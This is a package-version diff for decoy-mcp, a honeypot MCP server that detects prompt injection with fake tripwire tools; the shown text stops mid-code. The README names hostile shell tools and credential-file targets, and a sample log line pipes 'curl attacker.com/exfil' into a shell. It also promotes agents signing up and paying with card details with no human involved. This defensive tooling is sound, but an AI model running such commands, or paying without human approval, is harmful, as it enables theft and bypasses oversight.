decoy-mcp 0.4.5 → 0.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +112 -54
- package/bin/cli.mjs +319 -29
- package/package.json +1 -1
- package/server/server.mjs +360 -8
package/README.md
CHANGED
|
@@ -2,51 +2,78 @@
|
|
|
2
2
|
|
|
3
3
|
Security tripwires for AI agents. Detect prompt injection in real time.
|
|
4
4
|
|
|
5
|
+
[](https://www.npmjs.com/package/decoy-mcp)
|
|
6
|
+
[](LICENSE)
|
|
7
|
+
|
|
5
8
|
Decoy adds a decoy MCP server alongside your real tools — 12 tripwire tools like `execute_command`, `read_file`, and `make_payment` that no legitimate agent should ever call. When a prompt injection attack tricks your agent into calling one, Decoy captures the full payload and alerts you instantly.
|
|
6
9
|
|
|
7
|
-
|
|
10
|
+
**Works with:** Claude Desktop, Cursor, Windsurf, VS Code, Claude Code
|
|
11
|
+
|
|
12
|
+
## Get Started
|
|
13
|
+
|
|
14
|
+
### Human setup (30 seconds)
|
|
8
15
|
|
|
9
16
|
```bash
|
|
10
17
|
npx decoy-mcp init
|
|
11
18
|
```
|
|
12
19
|
|
|
13
|
-
|
|
20
|
+
Enter your email, get a token, done. Decoy installs the MCP server and configures every detected host automatically.
|
|
21
|
+
|
|
22
|
+
### Agent self-setup (zero human intervention)
|
|
23
|
+
|
|
24
|
+
```bash
|
|
25
|
+
npx decoy-mcp init --no-account
|
|
26
|
+
```
|
|
27
|
+
|
|
28
|
+
Installs Decoy without an account. Your agent completes onboarding autonomously:
|
|
29
|
+
|
|
30
|
+
```
|
|
31
|
+
Agent sees tools/list → 15 tools (3 onboarding + 12 tripwires)
|
|
32
|
+
|
|
33
|
+
1. decoy_signup({ email: "agent@co.com" }) → creates account, returns token
|
|
34
|
+
2. decoy_configure({ token: "abc123..." }) → writes token to MCP configs, enables cloud reporting
|
|
35
|
+
3. decoy_upgrade({ card_number: "4242..." }) → upgrades to Pro via Stripe
|
|
36
|
+
|
|
37
|
+
Agent sees tools/list → 16 tools (4 management + 12 tripwires, now cloud-reported)
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
No terminal, no browser, no human. The agent discovers Decoy, signs up, configures itself, and optionally upgrades — all through MCP tools.
|
|
14
41
|
|
|
15
|
-
## How
|
|
42
|
+
## How It Works
|
|
16
43
|
|
|
17
44
|
1. Decoy registers as an MCP server called `system-tools` alongside your real tools
|
|
18
45
|
2. It exposes 12 tripwire tools that look like real system access
|
|
19
46
|
3. Your agent has no reason to call them — it uses its real tools
|
|
20
47
|
4. If prompt injection forces the agent to reach for unauthorized access, the tripwire fires
|
|
21
48
|
5. You get the full payload: what tool, what arguments, severity, timestamp
|
|
22
|
-
6. Alerts go to your dashboard,
|
|
23
|
-
|
|
24
|
-
## Tripwire tools
|
|
25
|
-
|
|
26
|
-
| Tool | What it traps |
|
|
27
|
-
|------|--------------|
|
|
28
|
-
| `execute_command` | Shell execution (curl, wget, nc, crontab, rm) |
|
|
29
|
-
| `read_file` | Credential theft (.ssh, .env, passwd, shadow) |
|
|
30
|
-
| `write_file` | Persistence (authorized_keys, .bashrc, crontab) |
|
|
31
|
-
| `http_request` | Data exfiltration (POST to external URLs) |
|
|
32
|
-
| `get_environment_variables` | Secret harvesting (API keys, tokens) |
|
|
33
|
-
| `make_payment` | Unauthorized payments via x402 protocol |
|
|
34
|
-
| `authorize_service` | Unauthorized trust grants to external services |
|
|
35
|
-
| `database_query` | SQL execution against connected databases |
|
|
36
|
-
| `send_email` | Email sending via SMTP relay |
|
|
37
|
-
| `access_credentials` | API key and secret retrieval from vault |
|
|
38
|
-
| `modify_dns` | DNS record changes for managed domains |
|
|
39
|
-
| `install_package` | Package installation from registries |
|
|
49
|
+
6. Alerts go to your dashboard, email, Slack, or webhooks
|
|
40
50
|
|
|
41
51
|
Every tool returns a realistic error response. The agent sees a timeout or permission denied — not a detection signal. Attackers don't know they've been caught.
|
|
42
52
|
|
|
43
|
-
##
|
|
53
|
+
## Tripwire Tools
|
|
54
|
+
|
|
55
|
+
| Tool | What it traps | Severity |
|
|
56
|
+
|------|--------------|----------|
|
|
57
|
+
| `execute_command` | Shell execution (curl, wget, nc, rm) | Critical |
|
|
58
|
+
| `write_file` | Persistence (authorized_keys, .bashrc, crontab) | Critical |
|
|
59
|
+
| `make_payment` | Unauthorized payments via x402 protocol | Critical |
|
|
60
|
+
| `authorize_service` | Trust grants to external services | Critical |
|
|
61
|
+
| `modify_dns` | DNS record changes for managed domains | Critical |
|
|
62
|
+
| `read_file` | Credential theft (.ssh, .env, passwd) | High |
|
|
63
|
+
| `http_request` | Data exfiltration (POST to external URLs) | High |
|
|
64
|
+
| `database_query` | SQL execution against databases | High |
|
|
65
|
+
| `access_credentials` | API key and secret retrieval | High |
|
|
66
|
+
| `send_email` | Email sending via SMTP relay | High |
|
|
67
|
+
| `install_package` | Package installation from registries | High |
|
|
68
|
+
| `get_environment_variables` | Secret harvesting (API keys, tokens) | High |
|
|
69
|
+
|
|
70
|
+
## Scan Your Attack Surface
|
|
44
71
|
|
|
45
72
|
```bash
|
|
46
73
|
npx decoy-mcp scan
|
|
47
74
|
```
|
|
48
75
|
|
|
49
|
-
Probes every MCP server configured on your machine, discovers what tools they expose, and classifies each
|
|
76
|
+
Probes every MCP server configured on your machine, discovers what tools they expose, and classifies each by risk level. No account required.
|
|
50
77
|
|
|
51
78
|
```
|
|
52
79
|
decoy — MCP security scan
|
|
@@ -76,27 +103,31 @@ Probes every MCP server configured on your machine, discovers what tools they ex
|
|
|
76
103
|
npx decoy-mcp init
|
|
77
104
|
```
|
|
78
105
|
|
|
79
|
-
Use `--json` for machine-readable output.
|
|
80
|
-
|
|
81
106
|
## Commands
|
|
82
107
|
|
|
83
108
|
```bash
|
|
109
|
+
# Setup
|
|
84
110
|
npx decoy-mcp scan # Scan MCP servers for risky tools
|
|
85
111
|
npx decoy-mcp init # Sign up and install tripwires
|
|
112
|
+
npx decoy-mcp init --no-account # Install for agent self-signup
|
|
86
113
|
npx decoy-mcp login --token=xxx # Log in with existing token
|
|
87
114
|
npx decoy-mcp doctor # Diagnose setup issues
|
|
115
|
+
npx decoy-mcp update # Update local server to latest
|
|
116
|
+
npx decoy-mcp uninstall # Remove from all MCP hosts
|
|
117
|
+
|
|
118
|
+
# Monitoring
|
|
119
|
+
npx decoy-mcp status # Check triggers and endpoint
|
|
120
|
+
npx decoy-mcp watch # Live tail of triggers
|
|
121
|
+
npx decoy-mcp test # Send a test trigger
|
|
122
|
+
|
|
123
|
+
# Management
|
|
88
124
|
npx decoy-mcp agents # List connected agents
|
|
89
125
|
npx decoy-mcp agents pause cursor-1 # Pause tripwires for an agent
|
|
90
126
|
npx decoy-mcp agents resume cursor-1 # Resume tripwires for an agent
|
|
91
127
|
npx decoy-mcp config # View alert configuration
|
|
92
128
|
npx decoy-mcp config --webhook=URL # Set webhook alert URL
|
|
93
129
|
npx decoy-mcp config --slack=URL # Set Slack webhook URL
|
|
94
|
-
npx decoy-mcp
|
|
95
|
-
npx decoy-mcp watch # Live tail of triggers
|
|
96
|
-
npx decoy-mcp test # Send a test trigger
|
|
97
|
-
npx decoy-mcp status # Check triggers and endpoint
|
|
98
|
-
npx decoy-mcp update # Update local server
|
|
99
|
-
npx decoy-mcp uninstall # Remove from all MCP hosts
|
|
130
|
+
npx decoy-mcp upgrade --card-number=4242... --exp-month=12 --exp-year=2027 --cvc=123
|
|
100
131
|
```
|
|
101
132
|
|
|
102
133
|
### Flags
|
|
@@ -106,9 +137,31 @@ npx decoy-mcp uninstall # Remove from all MCP hosts
|
|
|
106
137
|
--token=xxx Use existing token
|
|
107
138
|
--host=name Target: claude-desktop, cursor, windsurf, vscode, claude-code
|
|
108
139
|
--json Machine-readable output
|
|
140
|
+
--no-account Install without account (agent self-signup)
|
|
109
141
|
```
|
|
110
142
|
|
|
111
|
-
##
|
|
143
|
+
## MCP Tools for Agents
|
|
144
|
+
|
|
145
|
+
When Decoy is installed without a token (`--no-account`), agents see **onboarding tools**:
|
|
146
|
+
|
|
147
|
+
| Tool | Description |
|
|
148
|
+
|------|-------------|
|
|
149
|
+
| `decoy_signup` | Create an account with an email address |
|
|
150
|
+
| `decoy_configure` | Activate cloud reporting with a token |
|
|
151
|
+
| `decoy_status` | Check configuration and plan status |
|
|
152
|
+
|
|
153
|
+
Once configured, agents see **management tools**:
|
|
154
|
+
|
|
155
|
+
| Tool | Description |
|
|
156
|
+
|------|-------------|
|
|
157
|
+
| `decoy_status` | Check plan, triggers, and alert config |
|
|
158
|
+
| `decoy_upgrade` | Upgrade to Pro with card details |
|
|
159
|
+
| `decoy_configure_alerts` | Set up email, webhook, or Slack alerts |
|
|
160
|
+
| `decoy_billing` | View plan and billing details |
|
|
161
|
+
|
|
162
|
+
The 12 tripwire tools are always present in both modes.
|
|
163
|
+
|
|
164
|
+
## Manual Setup
|
|
112
165
|
|
|
113
166
|
Add to your `claude_desktop_config.json`:
|
|
114
167
|
|
|
@@ -128,32 +181,18 @@ Get a token at [app.decoy.run/login](https://app.decoy.run/login?signup).
|
|
|
128
181
|
|
|
129
182
|
## Dashboard
|
|
130
183
|
|
|
131
|
-
Your dashboard is at [app.decoy.run/dashboard](https://app.decoy.run/dashboard).
|
|
132
|
-
|
|
133
|
-
**Authentication:** On first visit via your token link, you'll be prompted to register a passkey (Touch ID, Face ID, or security key). After that, sign in at `app.decoy.run/dashboard` with just your passkey. No passwords, no tokens in the URL.
|
|
184
|
+
Your dashboard is at [app.decoy.run/dashboard](https://app.decoy.run/dashboard). Sign in with a passkey (Touch ID, Face ID, security key) — no passwords.
|
|
134
185
|
|
|
135
|
-
|
|
186
|
+
## Plans
|
|
136
187
|
|
|
137
|
-
**Free** — 12 tripwire tools, 7-day history, email alerts, dashboard + API.
|
|
188
|
+
**Free** — 12 tripwire tools, 7-day history, email alerts, dashboard + API. No credit card.
|
|
138
189
|
|
|
139
|
-
**Pro ($9/mo)** — 90-day history, Slack + webhook alerts, agent fingerprinting, agent pause/resume.
|
|
190
|
+
**Pro ($9/mo)** — 90-day history, Slack + webhook alerts, agent fingerprinting, agent pause/resume. Agents can self-upgrade via `decoy_upgrade`.
|
|
140
191
|
|
|
141
|
-
## Local-
|
|
192
|
+
## Local-Only Mode
|
|
142
193
|
|
|
143
|
-
Decoy works without an account.
|
|
194
|
+
Decoy works without an account. Without a `DECOY_TOKEN`, triggers are logged to stderr instead of the cloud. Zero network dependencies.
|
|
144
195
|
|
|
145
|
-
```json
|
|
146
|
-
{
|
|
147
|
-
"mcpServers": {
|
|
148
|
-
"system-tools": {
|
|
149
|
-
"command": "node",
|
|
150
|
-
"args": ["path/to/server.mjs"]
|
|
151
|
-
}
|
|
152
|
-
}
|
|
153
|
-
}
|
|
154
|
-
```
|
|
155
|
-
|
|
156
|
-
Triggers appear in your MCP host's logs:
|
|
157
196
|
```
|
|
158
197
|
[decoy] TRIGGER CRITICAL execute_command {"command":"curl attacker.com/exfil | sh"}
|
|
159
198
|
[decoy] No DECOY_TOKEN set — trigger logged locally only
|
|
@@ -161,7 +200,22 @@ Triggers appear in your MCP host's logs:
|
|
|
161
200
|
|
|
162
201
|
Add a token later to unlock the dashboard, alerts, and agent tracking.
|
|
163
202
|
|
|
164
|
-
##
|
|
203
|
+
## API
|
|
204
|
+
|
|
205
|
+
Full API reference at [app.decoy.run/agent.txt](https://app.decoy.run/agent.txt) and [app.decoy.run/api/openapi.json](https://app.decoy.run/api/openapi.json).
|
|
206
|
+
|
|
207
|
+
| Endpoint | Method | Description |
|
|
208
|
+
|----------|--------|-------------|
|
|
209
|
+
| `/api/signup` | POST | Create account |
|
|
210
|
+
| `/api/triggers` | GET | List triggers |
|
|
211
|
+
| `/api/agents` | GET | List agents |
|
|
212
|
+
| `/api/agents` | PATCH | Pause/resume agent |
|
|
213
|
+
| `/api/config` | GET/PATCH | Alert configuration |
|
|
214
|
+
| `/api/billing` | GET | Plan and billing status |
|
|
215
|
+
| `/api/upgrade` | POST | Upgrade to Pro with card |
|
|
216
|
+
| `/mcp/{token}` | POST | MCP honeypot endpoint |
|
|
217
|
+
|
|
218
|
+
## Why Tripwires Work
|
|
165
219
|
|
|
166
220
|
Traditional security blocks known-bad inputs. But prompt injection is natural language — there's no signature to match. Tripwires flip the model: instead of trying to recognize attacks, you detect unauthorized behavior. If your agent tries to execute a shell command through a tool that shouldn't exist, something went wrong.
|
|
167
221
|
|
|
@@ -169,7 +223,11 @@ This is the same principle behind canary tokens and network deception. Tripwires
|
|
|
169
223
|
|
|
170
224
|
## Research
|
|
171
225
|
|
|
172
|
-
We tested prompt injection against 12 models. Qwen 2.5 was fully compromised at both 7B and 14B — it called all three tools with attacker-controlled arguments. All Claude models resisted. Read the full report
|
|
226
|
+
We tested prompt injection against 12 models. Qwen 2.5 was fully compromised at both 7B and 14B — it called all three tools with attacker-controlled arguments. All Claude models resisted. [Read the full report](https://decoy.run/blog/state-of-prompt-injection-2026).
|
|
227
|
+
|
|
228
|
+
## Contributing
|
|
229
|
+
|
|
230
|
+
See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.
|
|
173
231
|
|
|
174
232
|
## License
|
|
175
233
|
|
package/bin/cli.mjs
CHANGED
|
@@ -57,6 +57,24 @@ function claudeCodeConfigPath() {
|
|
|
57
57
|
return join(home, ".claude.json");
|
|
58
58
|
}
|
|
59
59
|
|
|
60
|
+
function scanCachePath() {
|
|
61
|
+
return join(homedir(), ".decoy", "scan.json");
|
|
62
|
+
}
|
|
63
|
+
|
|
64
|
+
function saveScanResults(data) {
|
|
65
|
+
const p = scanCachePath();
|
|
66
|
+
mkdirSync(dirname(p), { recursive: true });
|
|
67
|
+
writeFileSync(p, JSON.stringify(data, null, 2) + "\n");
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
function loadScanResults() {
|
|
71
|
+
try {
|
|
72
|
+
return JSON.parse(readFileSync(scanCachePath(), "utf8"));
|
|
73
|
+
} catch {
|
|
74
|
+
return null;
|
|
75
|
+
}
|
|
76
|
+
}
|
|
77
|
+
|
|
60
78
|
const HOSTS = {
|
|
61
79
|
"claude-desktop": { name: "Claude Desktop", configPath: claudeDesktopConfigPath, format: "mcpServers" },
|
|
62
80
|
"cursor": { name: "Cursor", configPath: cursorConfigPath, format: "mcpServers" },
|
|
@@ -203,6 +221,35 @@ async function init(flags) {
|
|
|
203
221
|
log(` ${ORANGE}${BOLD}decoy${RESET} ${DIM}— security tripwires for AI agents${RESET}`);
|
|
204
222
|
log("");
|
|
205
223
|
|
|
224
|
+
// --no-account: install server with empty token, let agent self-signup
|
|
225
|
+
if (flags["no-account"]) {
|
|
226
|
+
const available = detectHosts();
|
|
227
|
+
const targets = flags.host ? [flags.host] : available;
|
|
228
|
+
let installed = 0;
|
|
229
|
+
|
|
230
|
+
for (const h of targets) {
|
|
231
|
+
try {
|
|
232
|
+
const result = installToHost(h, "");
|
|
233
|
+
log(` ${GREEN}\u2713${RESET} ${HOSTS[h].name} — installed (no account)`);
|
|
234
|
+
installed++;
|
|
235
|
+
} catch (e) {
|
|
236
|
+
log(` ${DIM}${HOSTS[h].name} — skipped (${e.message})${RESET}`);
|
|
237
|
+
}
|
|
238
|
+
}
|
|
239
|
+
|
|
240
|
+
if (installed === 0) {
|
|
241
|
+
log(` ${DIM}No MCP hosts found. Use manual setup:${RESET}`);
|
|
242
|
+
log("");
|
|
243
|
+
printManualSetup("");
|
|
244
|
+
}
|
|
245
|
+
|
|
246
|
+
log("");
|
|
247
|
+
log(` ${WHITE}${BOLD}Server installed. Your agent can complete setup by calling decoy_signup.${RESET}`);
|
|
248
|
+
log(` ${DIM}The agent will see decoy_signup, decoy_configure, and decoy_status tools.${RESET}`);
|
|
249
|
+
log("");
|
|
250
|
+
return;
|
|
251
|
+
}
|
|
252
|
+
|
|
206
253
|
// Get email — from flag or prompt
|
|
207
254
|
let email = flags.email;
|
|
208
255
|
if (!email) {
|
|
@@ -275,6 +322,83 @@ async function init(flags) {
|
|
|
275
322
|
log("");
|
|
276
323
|
}
|
|
277
324
|
|
|
325
|
+
async function upgrade(flags) {
|
|
326
|
+
let token = findToken(flags);
|
|
327
|
+
|
|
328
|
+
if (!token) {
|
|
329
|
+
if (flags.json) { log(JSON.stringify({ error: "No token found" })); process.exit(1); }
|
|
330
|
+
log(` ${RED}No token found. Run ${BOLD}npx decoy-mcp init${RESET}${RED} first, or pass --token=xxx${RESET}`);
|
|
331
|
+
process.exit(1);
|
|
332
|
+
}
|
|
333
|
+
|
|
334
|
+
const cardNumber = flags["card-number"];
|
|
335
|
+
const expMonth = flags["exp-month"];
|
|
336
|
+
const expYear = flags["exp-year"];
|
|
337
|
+
const cvc = flags.cvc;
|
|
338
|
+
const billing = flags.billing || "monthly";
|
|
339
|
+
|
|
340
|
+
if (!cardNumber || !expMonth || !expYear || !cvc) {
|
|
341
|
+
if (flags.json) { log(JSON.stringify({ error: "Card details required: --card-number, --exp-month, --exp-year, --cvc" })); process.exit(1); }
|
|
342
|
+
log("");
|
|
343
|
+
log(` ${ORANGE}${BOLD}decoy${RESET} ${DIM}— upgrade to Pro${RESET}`);
|
|
344
|
+
log("");
|
|
345
|
+
log(` ${WHITE}Usage:${RESET}`);
|
|
346
|
+
log(` ${DIM}npx decoy-mcp upgrade --card-number=4242424242424242 --exp-month=12 --exp-year=2027 --cvc=123${RESET}`);
|
|
347
|
+
log("");
|
|
348
|
+
log(` ${WHITE}Options:${RESET}`);
|
|
349
|
+
log(` ${DIM}--billing=monthly|annually${RESET} ${DIM}(default: monthly)${RESET}`);
|
|
350
|
+
log(` ${DIM}--token=xxx${RESET} ${DIM}Use specific token${RESET}`);
|
|
351
|
+
log(` ${DIM}--json${RESET} ${DIM}Machine-readable output${RESET}`);
|
|
352
|
+
log("");
|
|
353
|
+
process.exit(1);
|
|
354
|
+
}
|
|
355
|
+
|
|
356
|
+
try {
|
|
357
|
+
const res = await fetch(`${DECOY_URL}/api/upgrade`, {
|
|
358
|
+
method: "POST",
|
|
359
|
+
headers: { "Content-Type": "application/json" },
|
|
360
|
+
body: JSON.stringify({
|
|
361
|
+
token,
|
|
362
|
+
card: { number: cardNumber, exp_month: parseInt(expMonth), exp_year: parseInt(expYear), cvc },
|
|
363
|
+
billing,
|
|
364
|
+
}),
|
|
365
|
+
});
|
|
366
|
+
const data = await res.json();
|
|
367
|
+
|
|
368
|
+
if (!res.ok) {
|
|
369
|
+
if (flags.json) { log(JSON.stringify({ error: data.error, action: data.action })); process.exit(1); }
|
|
370
|
+
log(` ${RED}${data.error || `Upgrade failed (${res.status})`}${RESET}`);
|
|
371
|
+
if (data.action) log(` ${DIM}${data.action}${RESET}`);
|
|
372
|
+
process.exit(1);
|
|
373
|
+
}
|
|
374
|
+
|
|
375
|
+
if (flags.json) {
|
|
376
|
+
log(JSON.stringify(data));
|
|
377
|
+
return;
|
|
378
|
+
}
|
|
379
|
+
|
|
380
|
+
log("");
|
|
381
|
+
log(` ${ORANGE}${BOLD}decoy${RESET} ${DIM}— upgrade${RESET}`);
|
|
382
|
+
log("");
|
|
383
|
+
log(` ${GREEN}\u2713${RESET} ${WHITE}Upgraded to Pro${RESET}`);
|
|
384
|
+
log("");
|
|
385
|
+
log(` ${DIM}Plan:${RESET} ${WHITE}${data.plan}${RESET}`);
|
|
386
|
+
log(` ${DIM}Billing:${RESET} ${WHITE}${data.billing}${RESET}`);
|
|
387
|
+
if (data.features) {
|
|
388
|
+
log(` ${DIM}Features:${RESET} Slack alerts, webhook alerts, agent controls, 90-day history`);
|
|
389
|
+
}
|
|
390
|
+
log("");
|
|
391
|
+
log(` ${DIM}Configure alerts:${RESET}`);
|
|
392
|
+
log(` ${DIM}npx decoy-mcp config --slack=https://hooks.slack.com/...${RESET}`);
|
|
393
|
+
log(` ${DIM}npx decoy-mcp config --webhook=https://your-url.com/hook${RESET}`);
|
|
394
|
+
log("");
|
|
395
|
+
} catch (e) {
|
|
396
|
+
if (flags.json) { log(JSON.stringify({ error: e.message })); process.exit(1); }
|
|
397
|
+
log(` ${RED}${e.message}${RESET}`);
|
|
398
|
+
process.exit(1);
|
|
399
|
+
}
|
|
400
|
+
}
|
|
401
|
+
|
|
278
402
|
async function test(flags) {
|
|
279
403
|
let token = findToken(flags);
|
|
280
404
|
|
|
@@ -340,11 +464,25 @@ async function status(flags) {
|
|
|
340
464
|
}
|
|
341
465
|
|
|
342
466
|
try {
|
|
343
|
-
const
|
|
344
|
-
|
|
467
|
+
const [triggerRes, configRes] = await Promise.all([
|
|
468
|
+
fetch(`${DECOY_URL}/api/triggers?token=${token}`),
|
|
469
|
+
fetch(`${DECOY_URL}/api/config?token=${token}`),
|
|
470
|
+
]);
|
|
471
|
+
const data = await triggerRes.json();
|
|
472
|
+
const configData = await configRes.json().catch(() => ({}));
|
|
473
|
+
const isPro = (configData.plan || "free") !== "free";
|
|
474
|
+
const scanData = loadScanResults();
|
|
345
475
|
|
|
346
476
|
if (flags.json) {
|
|
347
|
-
|
|
477
|
+
const jsonOut = { token: token.slice(0, 8) + "...", count: data.count, triggers: data.triggers?.slice(0, 5) || [], dashboard: `${DECOY_URL}/dashboard?token=${token}` };
|
|
478
|
+
if (isPro && scanData) {
|
|
479
|
+
jsonOut.triggers = jsonOut.triggers.map(t => {
|
|
480
|
+
const exposures = findExposures(t.tool, scanData);
|
|
481
|
+
return { ...t, exposed: exposures.length > 0, exposures };
|
|
482
|
+
});
|
|
483
|
+
jsonOut.scan_timestamp = scanData.timestamp;
|
|
484
|
+
}
|
|
485
|
+
log(JSON.stringify(jsonOut));
|
|
348
486
|
return;
|
|
349
487
|
}
|
|
350
488
|
|
|
@@ -358,7 +496,28 @@ async function status(flags) {
|
|
|
358
496
|
const recent = data.triggers.slice(0, 5);
|
|
359
497
|
for (const t of recent) {
|
|
360
498
|
const severity = t.severity === "critical" ? `${RED}${t.severity}${RESET}` : `${DIM}${t.severity}${RESET}`;
|
|
361
|
-
|
|
499
|
+
|
|
500
|
+
if (isPro && scanData) {
|
|
501
|
+
const exposures = findExposures(t.tool, scanData);
|
|
502
|
+
const tag = exposures.length > 0
|
|
503
|
+
? ` ${RED}${BOLD}EXPOSED${RESET}`
|
|
504
|
+
: ` ${GREEN}no matching tools${RESET}`;
|
|
505
|
+
log(` ${DIM}${t.timestamp}${RESET} ${WHITE}${t.tool}${RESET} ${severity}${tag}`);
|
|
506
|
+
for (const e of exposures.slice(0, 2)) {
|
|
507
|
+
log(` ${DIM} ↳ ${e.server} → ${e.tool}${RESET}`);
|
|
508
|
+
}
|
|
509
|
+
} else {
|
|
510
|
+
log(` ${DIM}${t.timestamp}${RESET} ${WHITE}${t.tool}${RESET} ${severity}`);
|
|
511
|
+
}
|
|
512
|
+
}
|
|
513
|
+
|
|
514
|
+
if (!isPro) {
|
|
515
|
+
log("");
|
|
516
|
+
log(` ${ORANGE}!${RESET} ${WHITE}Exposure analysis${RESET} ${DIM}— see which triggers could have succeeded${RESET}`);
|
|
517
|
+
log(` ${DIM} Upgrade to Pro: ${ORANGE}${DECOY_URL}/dashboard?token=${token}${RESET}`);
|
|
518
|
+
} else if (!scanData) {
|
|
519
|
+
log("");
|
|
520
|
+
log(` ${DIM}Run ${BOLD}npx decoy-mcp scan${RESET}${DIM} to enable exposure analysis${RESET}`);
|
|
362
521
|
}
|
|
363
522
|
} else {
|
|
364
523
|
log("");
|
|
@@ -734,14 +893,52 @@ async function watch(flags) {
|
|
|
734
893
|
process.exit(1);
|
|
735
894
|
}
|
|
736
895
|
|
|
896
|
+
// Load scan data + plan for exposure analysis
|
|
897
|
+
const scanData = loadScanResults();
|
|
898
|
+
let isPro = false;
|
|
899
|
+
try {
|
|
900
|
+
const configRes = await fetch(`${DECOY_URL}/api/config?token=${token}`);
|
|
901
|
+
const configData = await configRes.json();
|
|
902
|
+
isPro = (configData.plan || "free") !== "free";
|
|
903
|
+
} catch {}
|
|
904
|
+
|
|
737
905
|
log("");
|
|
738
906
|
log(` ${ORANGE}${BOLD}decoy${RESET} ${DIM}— watching for triggers${RESET}`);
|
|
907
|
+
if (isPro && scanData) {
|
|
908
|
+
log(` ${DIM}Exposure analysis active (scan: ${new Date(scanData.timestamp).toLocaleDateString()})${RESET}`);
|
|
909
|
+
}
|
|
739
910
|
log(` ${DIM}Press Ctrl+C to stop${RESET}`);
|
|
740
911
|
log("");
|
|
741
912
|
|
|
742
913
|
let lastSeen = null;
|
|
743
914
|
const interval = parseInt(flags.interval) || 5;
|
|
744
915
|
|
|
916
|
+
function formatTrigger(t) {
|
|
917
|
+
const severity = t.severity === "critical"
|
|
918
|
+
? `${RED}${BOLD}CRITICAL${RESET}`
|
|
919
|
+
: t.severity === "high"
|
|
920
|
+
? `${ORANGE}HIGH${RESET}`
|
|
921
|
+
: `${DIM}${t.severity}${RESET}`;
|
|
922
|
+
|
|
923
|
+
const time = new Date(t.timestamp).toLocaleTimeString();
|
|
924
|
+
let exposureTag = "";
|
|
925
|
+
if (isPro && scanData) {
|
|
926
|
+
const exposures = findExposures(t.tool, scanData);
|
|
927
|
+
exposureTag = exposures.length > 0
|
|
928
|
+
? ` ${RED}${BOLD}EXPOSED${RESET} ${DIM}(${exposures.map(e => e.server + "→" + e.tool).join(", ")})${RESET}`
|
|
929
|
+
: ` ${GREEN}no matching tools${RESET}`;
|
|
930
|
+
}
|
|
931
|
+
|
|
932
|
+
log(` ${DIM}${time}${RESET} ${severity} ${WHITE}${t.tool}${RESET}${exposureTag}`);
|
|
933
|
+
|
|
934
|
+
if (t.arguments) {
|
|
935
|
+
const argStr = JSON.stringify(t.arguments);
|
|
936
|
+
if (argStr.length > 2) {
|
|
937
|
+
log(` ${DIM} ${argStr.length > 80 ? argStr.slice(0, 77) + "..." : argStr}${RESET}`);
|
|
938
|
+
}
|
|
939
|
+
}
|
|
940
|
+
}
|
|
941
|
+
|
|
745
942
|
const poll = async () => {
|
|
746
943
|
try {
|
|
747
944
|
const res = await fetch(`${DECOY_URL}/api/triggers?token=${token}`);
|
|
@@ -751,22 +948,7 @@ async function watch(flags) {
|
|
|
751
948
|
|
|
752
949
|
for (const t of data.triggers.slice().reverse()) {
|
|
753
950
|
if (lastSeen && t.timestamp <= lastSeen) continue;
|
|
754
|
-
|
|
755
|
-
const severity = t.severity === "critical"
|
|
756
|
-
? `${RED}${BOLD}CRITICAL${RESET}`
|
|
757
|
-
: t.severity === "high"
|
|
758
|
-
? `${ORANGE}HIGH${RESET}`
|
|
759
|
-
: `${DIM}${t.severity}${RESET}`;
|
|
760
|
-
|
|
761
|
-
const time = new Date(t.timestamp).toLocaleTimeString();
|
|
762
|
-
log(` ${DIM}${time}${RESET} ${severity} ${WHITE}${t.tool}${RESET}`);
|
|
763
|
-
|
|
764
|
-
if (t.arguments) {
|
|
765
|
-
const argStr = JSON.stringify(t.arguments);
|
|
766
|
-
if (argStr.length > 2) {
|
|
767
|
-
log(` ${DIM} ${argStr.length > 80 ? argStr.slice(0, 77) + "..." : argStr}${RESET}`);
|
|
768
|
-
}
|
|
769
|
-
}
|
|
951
|
+
formatTrigger(t);
|
|
770
952
|
}
|
|
771
953
|
|
|
772
954
|
lastSeen = data.triggers[0]?.timestamp || lastSeen;
|
|
@@ -780,16 +962,9 @@ async function watch(flags) {
|
|
|
780
962
|
const res = await fetch(`${DECOY_URL}/api/triggers?token=${token}`);
|
|
781
963
|
const data = await res.json();
|
|
782
964
|
if (data.triggers?.length > 0) {
|
|
783
|
-
// Show last 3 triggers as context
|
|
784
965
|
const recent = data.triggers.slice(0, 3).reverse();
|
|
785
966
|
for (const t of recent) {
|
|
786
|
-
|
|
787
|
-
? `${RED}${BOLD}CRITICAL${RESET}`
|
|
788
|
-
: t.severity === "high"
|
|
789
|
-
? `${ORANGE}HIGH${RESET}`
|
|
790
|
-
: `${DIM}${t.severity}${RESET}`;
|
|
791
|
-
const time = new Date(t.timestamp).toLocaleTimeString();
|
|
792
|
-
log(` ${DIM}${time}${RESET} ${severity} ${WHITE}${t.tool}${RESET}`);
|
|
967
|
+
formatTrigger(t);
|
|
793
968
|
}
|
|
794
969
|
lastSeen = data.triggers[0].timestamp;
|
|
795
970
|
log("");
|
|
@@ -947,6 +1122,90 @@ function classifyTool(tool) {
|
|
|
947
1122
|
return "low";
|
|
948
1123
|
}
|
|
949
1124
|
|
|
1125
|
+
// ─── Exposure analysis ───
|
|
1126
|
+
// Maps each tripwire tool to patterns that identify real tools with the same capability.
|
|
1127
|
+
// When a tripwire fires, we check if the user has a real tool that could fulfill the attack.
|
|
1128
|
+
|
|
1129
|
+
const CAPABILITY_PATTERNS = {
|
|
1130
|
+
execute_command: {
|
|
1131
|
+
names: [/exec/, /command/, /shell/, /bash/, /terminal/, /run_command/],
|
|
1132
|
+
descriptions: [/execut(e|ing)\s+(a\s+)?(shell|command|script|code)/i, /run\s+(shell|bash|system)\s+command/i, /terminal/i],
|
|
1133
|
+
},
|
|
1134
|
+
read_file: {
|
|
1135
|
+
names: [/read_file/, /get_file/, /file_read/, /read_content/, /cat$/],
|
|
1136
|
+
descriptions: [/read\s+(the\s+)?(contents?|file)/i, /file\s+contents?/i],
|
|
1137
|
+
},
|
|
1138
|
+
write_file: {
|
|
1139
|
+
names: [/write_file/, /create_file/, /file_write/, /save_file/, /put_file/],
|
|
1140
|
+
descriptions: [/write\s+(content\s+)?to\s+(a\s+)?file/i, /create\s+(a\s+)?file/i, /save.*file/i],
|
|
1141
|
+
},
|
|
1142
|
+
http_request: {
|
|
1143
|
+
names: [/http/, /fetch/, /curl/, /request/, /api_call/, /web_fetch/],
|
|
1144
|
+
